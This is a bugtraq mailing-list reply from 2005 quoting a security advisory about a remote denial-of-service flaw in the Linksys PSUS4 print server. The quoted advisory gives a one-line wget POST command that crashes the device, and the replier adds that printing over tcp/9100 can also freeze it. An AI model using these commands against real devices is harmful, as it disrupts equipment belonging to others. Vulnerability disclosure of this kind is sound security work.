bugtraq - Re: [ RSTACK Public Security Advisory ] Remote DOS against Linksys PSUS4

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Date: Fri, 04 Feb 2005 02:20:40 +0100
From: Denis Jedig <seclists@...eticon.de>
To: bugtraq@...urityfocus.com
Cc: laurent oudot <oudot@...ack.org>
Subject: Re: [ RSTACK Public Security Advisory ] Remote DOS against Linksys
 PSUS4


laurent oudot wrote:

> Background
> ==========
> 
> PSUS4 is one of the small embedded Linksys wired print servers.
> 
> Affected products
> =================
> 
> Model Name: PSUS4 (not tested against others)
> Firmware Version: 6032 (not tested against others)
> 
> Description
> ===========
> 
> Here is an example, to crash a remote PSUS4 :
> 
> $ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
> [...]
> => And the PSUS4 is crashed.

Well, if you want a more complicated way, just try to print a page 
through the SMP (tcp/9100) - it will occasionally freeze the print 
server as well.

The firmware seems not to be very mature, I'd bet that we could expect 
more serious vulnerabilities from it.

Denis